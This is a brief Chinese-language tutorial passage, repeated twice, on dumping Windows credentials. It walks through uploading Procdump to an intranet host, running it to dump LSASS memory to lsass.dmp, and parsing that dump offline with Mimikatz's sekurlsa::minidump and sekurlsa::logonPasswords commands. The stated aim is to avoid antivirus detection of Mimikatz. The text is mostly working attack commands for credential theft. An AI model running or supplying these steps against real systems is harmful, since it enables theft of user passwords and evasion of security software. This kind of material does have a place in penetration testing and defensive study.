Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。
- 上传Procdump到内网主机中,然后执行以下命令,获取到内存转储文件lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp
- 将生成的dmp文件移动到Mimikatz的机器中,运行以下命令,然后就能够首先在靶机上运行mimikatz一样的效果,并且还避免了mimikatz被杀的风险。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。
- 上传Procdump到内网主机中,然后执行以下命令,获取到内存转储文件lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp
- 将生成的dmp文件移动到Mimikatz的机器中,运行以下命令,然后就能够首先在靶机上运行mimikatz一样的效果,并且还避免了mimikatz被杀的风险。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full